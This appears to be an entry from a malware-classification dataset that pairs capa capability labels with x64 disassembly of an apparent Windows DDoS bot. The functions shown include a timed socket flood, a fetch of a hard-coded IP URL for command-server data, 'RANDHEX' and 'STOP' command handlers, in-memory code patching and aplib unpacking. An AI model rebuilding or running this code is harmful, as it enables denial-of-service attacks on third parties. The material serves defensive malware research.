joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140006430
Capabilities:
Parse pe header

Disassembly:
test rcx, rcx
je 0x14000668c
push rdi
sub rsp, 0x90
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], rax
mov rdi, rcx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, 0x18
lea r8, [rsp + 0x30]
mov rcx, rax
mov rdx, rdi
call qword [sym.imp.PSAPI.DLL_GetModuleInformation]
test eax, eax
je 0x140006684
mov eax, 0x5a4d
mov qword [rsp + 0x80], r15
mov r15d, dword [rsp + 0x38]
cmp word [rdi], ax
jne 0x14000667c
movsxd rcx, dword [rdi + 0x3c]
lea rax, [rcx + 0x108]
cmp rax, r15
jae 0x14000667c
cmp dword [rcx + rdi], 0x4550
mov qword [rsp + 0xb0], rbp
lea rbp, [rcx + rdi]
jne 0x140006674
movzx eax, word [rbp + 4]
mov ecx, 0x14c
mov qword [rsp + 0xb8], rsi
xor esi, esi
mov qword [rsp + 0x88], r14
cmp cx, ax
jne 0x1400064e5
xor r14d, r14d
jmp 0x140006517
mov ecx, 0x200
mov r8d, 0xaa64
cmp cx, ax
je 0x140006509
mov ecx, 0x8664
cmp cx, ax
je 0x140006509
cmp r8w, ax
jne 0x140006664
cmp r8w, ax
mov r14d, 1
sete sil
mov qword [rsp + 0xa8], rbx
mov ebx, dword [rbp + 0x28]
add rbx, rdi
je 0x14000665c
cmp rbx, rdi
jbe 0x14000665c
lea rax, [r15 + rdi]
cmp rbx, rax
jae 0x14000665c
xorps xmm0, xmm0
lea rdx, [rsp + 0x48]
mov r8d, 0x30
mov rcx, rbx
movups xmmword [rsp + 0x48], xmm0
movups xmmword [rsp + 0x58], xmm0
movups xmmword [rsp + 0x68], xmm0
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x14000665c
test dword [rsp + 0x68], 0x1000
je 0x14000665c
test dword [rsp + 0x70], 0x1000000
je 0x14000665c
mov eax, dword [rsp + 0x6c]
xor ecx, ecx
test al, 0x10
jne 0x1400065a2
test al, 0x20
jne 0x1400065a2
test al, 0x40
jne 0x1400065a2
test al, al
jns 0x1400065a7
mov ecx, 1
test ecx, ecx
je 0x14000665c
mov r9d, r14d
mov dword [rsp + 0x20], esi
mov r8d, r15d
mov rdx, rdi
mov rcx, rbp
call fcn.140006e70
mov edx, Ordinal_23
mov dword [rsp + 0xa0], 0
lea r9, [rsp + 0xa0]
mov rcx, rbx
lea r8d, [rdx + 0x2c]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x14000665c
test r14d, r14d
jne 0x140006606
mov eax, dword [0x140015060]
mov dword [rbx], eax
movzx eax, byte [0x140015064]
mov byte [rbx + 4], al
jmp 0x14000662a
test esi, esi
je 0x140006616
mov rax, qword [0x140015058]
mov qword [rbx], rax
jmp 0x14000662a
movzx eax, word [0x140015054]
mov word [rbx], ax
movzx eax, byte [0x140015056]
mov byte [rbx + 2], al
mov r8d, dword [rsp + 0xa0]
lea r9, [rsp + 0xa0]
mov edx, Ordinal_23
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov rbx, qword [rsp + 0xa8]
mov rsi, qword [rsp + 0xb8]
mov r14, qword [rsp + 0x88]
mov rbp, qword [rsp + 0xb0]
mov r15, qword [rsp + 0x80]
add rsp, 0x90
pop rdi
ret
Function at 0x140691108
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.14069128f
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140691139
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14069111f
add dl, dl
jne 0x140691146
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1406911a6
xor eax, eax
add dl, dl
jne 0x140691155
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14069125d
add dl, dl
jne 0x140691166
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140691173
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140691180
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14069118d
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x14069119a
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x14069112e
mov eax, 1
add dl, dl
jne 0x1406911b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1406911c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1406911ab
sub eax, ebx
mov ebx, 1
jne 0x1406911fc
mov ecx, 1
add dl, dl
jne 0x1406911de
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1406911eb
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1406911d3
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14069112e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140691218
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140691225
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14069120d
cmp eax, 0x7d00
jae 0x14069124b
cmp eax, 0x500
jb 0x140691246
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14069112e
cmp eax, 0x7f
ja 0x14069124e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14069112e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x140691282
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x14069112e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x14000147f
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov rax, qword [0x140007080]
mov dword [rax], 1
mov rax, qword [0x140007090]
mov dword [rax], 1
mov rax, qword [0x1400070a0]
mov dword [rax], 1
mov rax, qword [0x140007040]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x1400014d0
mov eax, 0
jmp 0x14000157d
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x1400014fc
mov eax, 0
jmp 0x14000157d
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0x10b
je 0x140001522
cmp eax, 0x20b
je 0x140001549
jmp 0x140001578
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x5c]
cmp eax, 0xe
ja 0x140001535
mov eax, 0
jmp 0x14000157d
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x14000157d
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x6c]
cmp eax, 0xe
ja 0x140001564
mov eax, 0
jmp 0x14000157d
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x14000157d
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x1400017f2
Capabilities:
Connect socket
Connect udp socket
Create udp socket
Initialize winsock library
Resolve dns
Send data
Send data on socket

Disassembly:
push rbp
push rdi
push rsi
sub rsp, 0xac0
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xa60], rcx
mov dword [rbp + 0xa68], edx
mov dword [rbp + 0xa70], r8d
lea rax, [rbp - 0x60]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
mov r8d, 0
mov edx, 2
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_socket]
call rax
mov dword [rbp + 0xa38], eax
mov ecx, 0
call sym.time
mov qword [rbp + 0xa30], rax
mov rax, qword [rbp + 0xa60]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_gethostbyname]
call rax
mov qword [rbp + 0xa28], rax
lea rax, [rbp + 0xa10]
mov r8d, 0x10
mov edx, 0
mov rcx, rax
call sym.memset
mov rax, qword [rbp + 0xa28]
movzx eax, word [rax + 0x12]
movsx r8, ax
mov rax, qword [rbp + 0xa28]
mov rax, qword [rax + 0x18]
mov rax, qword [rax]
lea rdx, [rbp + 0xa10]
lea rcx, [rdx + 4]
mov rdx, rax
call sym.memmove
mov rax, qword [rbp + 0xa28]
movzx eax, word [rax + 0x10]
mov word [rbp + 0xa10], ax
mov eax, dword [rbp + 0xa68]
mov word [rbp + 0xa12], ax
mov dword [rbp + 0xa3c], 0
lea rax, [rbp + 0x140]
lea rdx, [0x140005020]
mov ecx, 0x11a
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
call sym.rand
movsxd rcx, eax
movabs rdx, 0xe865ac7b7603a197
mov rax, rcx
mul rdx
mov rax, rdx
shr rax, 8
imul rdx, rax, 0x11a
mov rax, rcx
sub rax, rdx
mov rax, qword [rbp + rax*8 + 0x140]
mov qword [rbp + 0xa20], rax
cmp dword [rbp + 0xa3c], 0x31
jbe 0x1400019d4
mov eax, dword [rbp + 0xa38]
cdqe
mov rdx, qword [rbp + 0xa20]
mov r9d, 0
mov r8d, 0x400
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
mov eax, dword [rbp + 0xa38]
cdqe
lea rdx, [rbp + 0xa10]
mov r8d, 0x10
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_connect]
call rax
mov ecx, 0
call sym.time
mov edx, dword [rbp + 0xa70]
movsxd rcx, edx
mov rdx, qword [rbp + 0xa30]
add rdx, rcx
cmp rax, rdx
jl 0x1400019ca
mov eax, dword [rbp + 0xa38]
cdqe
mov rcx, rax
call sym.fclose
jmp 0x1400019e0
mov dword [rbp + 0xa3c], 0
add dword [rbp + 0xa3c], 1
jmp 0x1400018ea
add rsp, 0xac0
pop rsi
pop rdi
pop rbp
ret
Function at 0x140001adb
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push rbp
push rdi
mov eax, 0x1058
call fcn.1400044f0
sub rsp, rax
lea rbp, [rsp + 0x80]
mov qword [rbp - 0x50], 0
mov qword [rbp - 0x48], 0
lea rdx, [rbp - 0x40]
mov eax, 0
mov ecx, 0x1fe
mov rdi, rdx
rep stosq qword [rdi], rax
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 1
lea rax, str.User_Agent
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetOpenA]
call rax
mov qword [rbp + 0xfc8], rax
cmp qword [rbp + 0xfc8], 0
jne 0x140001b5d
mov eax, 0
jmp 0x140001c34
mov rax, qword [rbp + 0xfc8]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x80000000
mov r9d, 0
mov r8d, 0
lea rdx, str.http:__34.159.237.198_ip.txt
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetOpenUrlA]
call rax
mov qword [rbp + 0xfc0], rax
cmp qword [rbp + 0xfc0], 0
jne 0x140001bbf
mov rax, qword [rbp + 0xfc8]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov eax, 0
jmp 0x140001c34
lea rcx, [rbp + 0xfbc]
lea rdx, [rbp - 0x50]
mov rax, qword [rbp + 0xfc0]
mov r9, rcx
mov r8d, 0xfff
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetReadFile]
call rax
mov eax, dword [rbp + 0xfbc]
mov eax, eax
mov byte [rbp + rax - 0x50], 0
lea rax, [rbp - 0x50]
mov rdx, rax
lea rax, [0x14000b0a0]
mov rcx, rax
call sym.strcpy
mov rax, qword [rbp + 0xfc0]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov rax, qword [rbp + 0xfc8]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov eax, 0
add rsp, 0x1058
pop rdi
pop rbp
ret
Function at 0x140001d0c
Capabilities:
Create process on windows

Disassembly:
push rbp
sub rsp, 0x200
lea rbp, [rsp + 0x80]
lea rax, [rbp - 0x10]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp - 0x10], 0x68
lea rax, [rbp - 0x30]
mov r8d, 0x18
mov edx, 0
mov rcx, rax
call sym.memset
lea rax, [rbp + 0x60]
mov r8d, 0x104
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call rax
test eax, eax
jne 0x140001d7a
mov eax, 0xffffffff
jmp 0x140001ef8
lea rax, [rbp + 0x60]
lea rdx, [rbp - 0x30]
mov qword [rsp + 0x48], rdx
lea rdx, [rbp - 0x10]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
test eax, eax
jne 0x140001ddd
mov eax, 0xffffffff
jmp 0x140001ef8
mov rax, qword [0x1400100d8]
add rax, 1
mov qword [0x1400100d8], rax
mov rax, qword [0x1400100d8]
shl rax, 2
mov rcx, rax
call sym.malloc
mov qword [rbp + 0x170], rax
cmp qword [rbp + 0x170], 0
jne 0x140001e3d
mov rax, qword [rbp - 0x30]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x28]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0xffffffff
jmp 0x140001ef8
mov qword [rbp + 0x178], 0
jmp 0x140001e84
mov rax, qword [0x1400100d0]
mov rdx, qword [rbp + 0x178]
shl rdx, 2
add rax, rdx
mov rdx, qword [rbp + 0x178]
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x170]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
add qword [rbp + 0x178], 1
mov rax, qword [0x1400100d8]
sub rax, 1
cmp qword [rbp + 0x178], rax
jb 0x140001e4a
mov rax, qword [0x1400100d8]
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x170]
add rdx, rax
mov eax, dword [rbp - 0x20]
mov dword [rdx], eax
mov rax, qword [0x1400100d0]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x170]
mov qword [0x1400100d0], rax
mov rax, qword [rbp - 0x30]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x28]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
add rsp, 0x200
pop rbp
ret
Function at 0x140001f6c
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
push rbp
sub rsp, 0x270
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x200], ecx
mov qword [rbp + 0x208], rdx
mov dword [rbp + 0x210], r8d
mov eax, dword [rbp + 0x210]
movsxd rdx, eax
mov rax, qword [rbp + 0x208]
mov r8, rdx
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp - 0x48], 0x1e
mov dword [rbp - 0x44], 0
mov dword [rbp - 0x40], 0
mov dword [rbp + 0x1ec], 0
jmp 0x140001ff0
mov eax, dword [rbp + 0x1ec]
mov rdx, qword [rbp + rax*8 - 0x38]
mov eax, dword [rbp + 0x200]
cdqe
cmp rdx, rax
je 0x140001ffb
add dword [rbp + 0x1ec], 1
mov eax, dword [rbp - 0x40]
cmp dword [rbp + 0x1ec], eax
jb 0x140001fd1
mov eax, dword [rbp - 0x40]
cmp dword [rbp + 0x1ec], eax
jne 0x14000202b
mov eax, dword [rbp - 0x40]
cmp eax, 0x3f
ja 0x14000202b
mov eax, dword [rbp + 0x200]
movsxd rdx, eax
mov eax, dword [rbp + 0x1ec]
mov qword [rbp + rax*8 - 0x38], rdx
mov eax, dword [rbp - 0x40]
add eax, 1
mov dword [rbp - 0x40], eax
mov eax, dword [rbp + 0x200]
lea ecx, [rax + 1]
lea r8, [rbp - 0x40]
lea rax, [rbp - 0x40]
lea rdx, [rbp - 0x48]
mov qword [rsp + 0x20], rdx
mov r9, r8
mov r8d, 0
mov rdx, rax
mov rax, qword [sym.imp.WS2_32.dll_select]
call rax
mov dword [rbp + 0x1d0], eax
cmp dword [rbp + 0x1d0], 0
jg 0x140002143
jmp 0x140002133
mov dword [rbp - 0x48], 0x1e
mov dword [rbp - 0x44], 0
mov dword [rbp - 0x40], 0
mov dword [rbp + 0x1e4], 0
jmp 0x1400020b2
mov eax, dword [rbp + 0x1e4]
mov rdx, qword [rbp + rax*8 - 0x38]
mov eax, dword [rbp + 0x200]
cdqe
cmp rdx, rax
je 0x1400020bd
add dword [rbp + 0x1e4], 1
mov eax, dword [rbp - 0x40]
cmp dword [rbp + 0x1e4], eax
jb 0x140002093
mov eax, dword [rbp - 0x40]
cmp dword [rbp + 0x1e4], eax
jne 0x1400020ed
mov eax, dword [rbp - 0x40]
cmp eax, 0x3f
ja 0x1400020ed
mov eax, dword [rbp + 0x200]
movsxd rdx, eax
mov eax, dword [rbp + 0x1e4]
mov qword [rbp + rax*8 - 0x38], rdx
mov eax, dword [rbp - 0x40]
add eax, 1
mov dword [rbp - 0x40], eax
mov eax, dword [rbp + 0x200]
lea ecx, [rax + 1]
lea r8, [rbp - 0x40]
lea rax, [rbp - 0x40]
lea rdx, [rbp - 0x48]
mov qword [rsp + 0x20], rdx
mov r9, r8
mov r8d, 0
mov rdx, rax
mov rax, qword [sym.imp.WS2_32.dll_select]
call rax
mov dword [rbp + 0x1d0], eax
cmp dword [rbp + 0x1d0], 0
jg 0x140002142
add dword [rbp + 0x1e8], 1
nop
cmp dword [rbp + 0x1e8], 9
jle 0x140002072
jmp 0x140002143
nop
mov dword [rbp + 0x1d4], 0
mov rax, qword [rbp + 0x208]
mov qword [rbp + 0x1d8], rax
jmp 0x1400021be
mov eax, dword [0x14000c0a0]
cdqe
lea rdx, [rbp - 0x49]
mov r9d, 0
mov r8d, 1
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_recv]
call rax
cmp eax, 1
je 0x140002197
mov rax, qword [rbp + 0x1d8]
mov byte [rax], 0
mov eax, 0xffffffff
jmp 0x1400021e5
mov rax, qword [rbp + 0x1d8]
lea rdx, [rax + 1]
mov qword [rbp + 0x1d8], rdx
movzx edx, byte [rbp - 0x49]
mov byte [rax], dl
movzx eax, byte [rbp - 0x49]
cmp al, 0xa
je 0x1400021d4
add dword [rbp + 0x1d4], 1
mov eax, dword [rbp + 0x210]
lea edx, [rax - 1]
mov dword [rbp + 0x210], edx
cmp eax, 1
jg 0x14000215d
jmp 0x1400021d5
nop
mov rax, qword [rbp + 0x1d8]
mov byte [rax], 0
mov eax, dword [rbp + 0x1d4]
add rsp, 0x270
pop rbp
ret
Function at 0x1400021ee
Capabilities:
Send data
Send data on socket

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov dword [rbp + 0x10], ecx
mov qword [rbp + 0x18], rdx
mov qword [rbp + 0x20], r8
mov qword [rbp + 0x28], r9
mov ecx, 0x800
call sym.malloc
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
mov r8d, 0x800
mov edx, 0
mov rcx, rax
call sym.memset
mov rax, qword [rbp - 8]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x20], rax
mov rcx, qword [rbp - 0x20]
mov rdx, qword [rbp + 0x18]
mov rax, qword [rbp - 8]
mov r8, rcx
mov rcx, rax
call sym.vsprintf
mov rax, qword [rbp - 0x10]
mov rcx, rax
call sym.strlen
mov rdx, qword [rbp - 0x10]
add rax, rdx
mov byte [rax], 0xa
mov rax, qword [rbp - 0x10]
mov rcx, rax
call sym.strlen
mov ecx, eax
mov eax, dword [rbp + 0x10]
cdqe
mov rdx, qword [rbp - 0x10]
mov r9d, 0
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
mov dword [rbp - 0x14], eax
mov rax, qword [rbp - 0x10]
mov rcx, rax
call sym.free
mov eax, dword [rbp - 0x14]
add rsp, 0x40
pop rbp
ret

Function at 0x1400022fb
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
lea rax, str.C:Python27python.exe
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
call rax
cmp eax, 0xffffffff
je 0x140002324
lea rax, [0x140006be8]
jmp 0x14000238e
lea rax, str.C:Python38python.exe
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
call rax
cmp eax, 0xffffffff
je 0x140002345
lea rax, [0x140006be8]
jmp 0x14000238e
lea rax, str.C:Perl_binperl.exe
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
call rax
cmp eax, 0xffffffff
je 0x140002366
lea rax, [0x140006be8]
jmp 0x14000238e
lea rax, str.C:WindowsSystem32_telnetd.exe
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
call rax
cmp eax, 0xffffffff
je 0x140002387
lea rax, [0x140006be8]
jmp 0x14000238e
lea rax, str.Unknown_Port
add rsp, 0x20
pop rbp
ret
Function at 0x140002394
Capabilities:
Terminate process

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
mov dword [rbp + 0x10], ecx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x18]
mov rax, qword [rax]
lea rdx, str.RANDHEX
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x1400024dd
cmp dword [rbp + 0x10], 3
jle 0x1400025ca
mov rax, qword [rbp + 0x18]
add rax, 0x10
mov rax, qword [rax]
mov rcx, rax
call sym.atoi
test eax, eax
jle 0x1400025ca
mov rax, qword [rbp + 0x18]
add rax, 0x18
mov rax, qword [rax]
mov rcx, rax
call sym.atoi
test eax, eax
jle 0x1400025ca
mov rax, qword [rbp + 0x18]
mov rax, qword [rax + 8]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp + 0x18]
add rax, 0x10
mov rax, qword [rax]
mov rcx, rax
call sym.atoi
mov dword [rbp - 0x24], eax
mov rax, qword [rbp + 0x18]
add rax, 0x18
mov rax, qword [rax]
mov rcx, rax
call sym.atoi
mov dword [rbp - 0x28], eax
mov rax, qword [rbp - 0x20]
mov edx, 0x2c
mov rcx, rax
call sym.strchr
test rax, rax
je 0x1400024b1
mov rax, qword [rbp - 0x20]
lea rdx, [0x1400060a2]
mov rcx, rax
call sym.strtok
mov qword [rbp - 8], rax
jmp 0x1400024a8
call sym.listFork
test eax, eax
jne 0x140002490
mov ecx, dword [rbp - 0x28]
mov edx, dword [rbp - 0x24]
mov rax, qword [rbp - 8]
mov r8d, ecx
mov rcx, rax
call sym.Randhex
mov ecx, 1
call sym.exit
lea rax, [0x1400060a2]
mov rdx, rax
mov ecx, 0
call sym.strtok
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x140002468
jmp 0x1400024dd
call sym.listFork
test eax, eax
jne 0x1400025cd
mov ecx, dword [rbp - 0x28]
mov edx, dword [rbp - 0x24]
mov rax, qword [rbp - 0x20]
mov r8d, ecx
mov rcx, rax
call sym.Randhex
mov ecx, 0
call sym.exit
mov rax, qword [rbp + 0x18]
add rax, 8
mov rax, qword [rax]
lea rdx, str.STOP
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x1400025ce
mov dword [rbp - 0xc], 0
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call rax
mov dword [rbp - 0x2c], eax
mov qword [rbp - 0x18], 0
jmp 0x1400025b7
mov rax, qword [0x1400100d0]
mov rdx, qword [rbp - 0x18]
shl rdx, 2
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x1400025b2
mov rax, qword [0x1400100d0]
mov rdx, qword [rbp - 0x18]
shl rdx, 2
add rax, rdx
mov eax, dword [rax]
cmp dword [rbp - 0x2c], eax
je 0x1400025b2
mov rax, qword [0x1400100d0]
mov rdx, qword [rbp - 0x18]
shl rdx, 2
add rax, rdx
mov eax, dword [rax]
mov r8d, eax
mov edx, 0
mov ecx, 1
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp - 0x38], rax
cmp qword [rbp - 0x38], 0
je 0x1400025b2
mov rax, qword [rbp - 0x38]
mov edx, 1
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_TerminateProcess]
call rax
test eax, eax
je 0x1400025a2
add dword [rbp - 0xc], 1
mov rax, qword [rbp - 0x38]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
add qword [rbp - 0x18], 1
mov rax, qword [0x1400100d8]
cmp qword [rbp - 0x18], rax
jb 0x14000251f
jmp 0x1400025ce
nop
jmp 0x1400025ce
nop
add rsp, 0x60
pop rbp
ret
Function at 0x1400025d4
Capabilities:
Connect socket
Convert ip address from string
Get socket status

Disassembly:
push rbp
sub rsp, 0x270
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x200], ecx
mov qword [rbp + 0x208], rdx
mov dword [rbp + 0x210], r8d
mov dword [rbp + 0x218], r9d
mov word [rbp + 0x1d0], 2
mov eax, dword [rbp + 0x210]
movzx eax, ax
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [rbp + 0x1d2], ax
lea rax, [rbp + 0x1d0]
lea rdx, [rax + 4]
mov rax, qword [rbp + 0x208]
mov r8, rdx
mov rdx, rax
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_inet_pton]
call rax
lea rax, [rbp + 0x1d0]
add rax, 8
mov r8d, 8
mov edx, 0
mov rcx, rax
call sym.memset
mov eax, dword [rbp + 0x200]
cdqe
lea rdx, [rbp + 0x1d0]
mov r8d, 0x10
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_connect]
call rax
mov dword [rbp + 0x1e8], eax
cmp dword [rbp + 0x1e8], 0
jns 0x1400027b1
mov rax, qword [sym.imp.ucrtbase.dll__errno]
call rax
mov eax, dword [rax]
cmp eax, 0x70
jne 0x1400027aa
mov eax, dword [rbp + 0x218]
mov dword [rbp - 0x48], eax
mov dword [rbp - 0x44], 0
mov dword [rbp - 0x40], 0
mov dword [rbp + 0x1ec], 0
jmp 0x1400026f1
mov eax, dword [rbp + 0x1ec]
mov rdx, qword [rbp + rax*8 - 0x38]
mov eax, dword [rbp + 0x200]
cdqe
cmp rdx, rax
je 0x1400026fc
add dword [rbp + 0x1ec], 1
mov eax, dword [rbp - 0x40]
cmp dword [rbp + 0x1ec], eax
jb 0x1400026d2
mov eax, dword [rbp - 0x40]
cmp dword [rbp + 0x1ec], eax
jne 0x14000272c
mov eax, dword [rbp - 0x40]
cmp eax, 0x3f
ja 0x14000272c
mov eax, dword [rbp + 0x200]
movsxd rdx, eax
mov eax, dword [rbp + 0x1ec]
mov qword [rbp + rax*8 - 0x38], rdx
mov eax, dword [rbp - 0x40]
add eax, 1
mov dword [rbp - 0x40], eax
mov eax, dword [rbp + 0x200]
add eax, 1
lea rcx, [rbp - 0x40]
lea rdx, [rbp - 0x48]
mov qword [rsp + 0x20], rdx
mov r9d, 0
mov r8, rcx
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_select]
call rax
test eax, eax
jle 0x1400027a3
mov dword [rbp - 0x4c], 4
mov eax, dword [rbp + 0x200]
cdqe
lea rcx, [rbp - 0x50]
lea rdx, [rbp - 0x4c]
mov qword [rsp + 0x20], rdx
mov r9, rcx
mov r8d, 0x1007
mov edx, pe_overlay
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_getsockopt]
call rax
mov eax, dword [rbp - 0x50]
test eax, eax
je 0x1400027b1
mov eax, 0
jmp 0x1400027b6
mov eax, 0
jmp 0x1400027b6
mov eax, 0
jmp 0x1400027b6
mov eax, 1
add rsp, 0x270
pop rbp
ret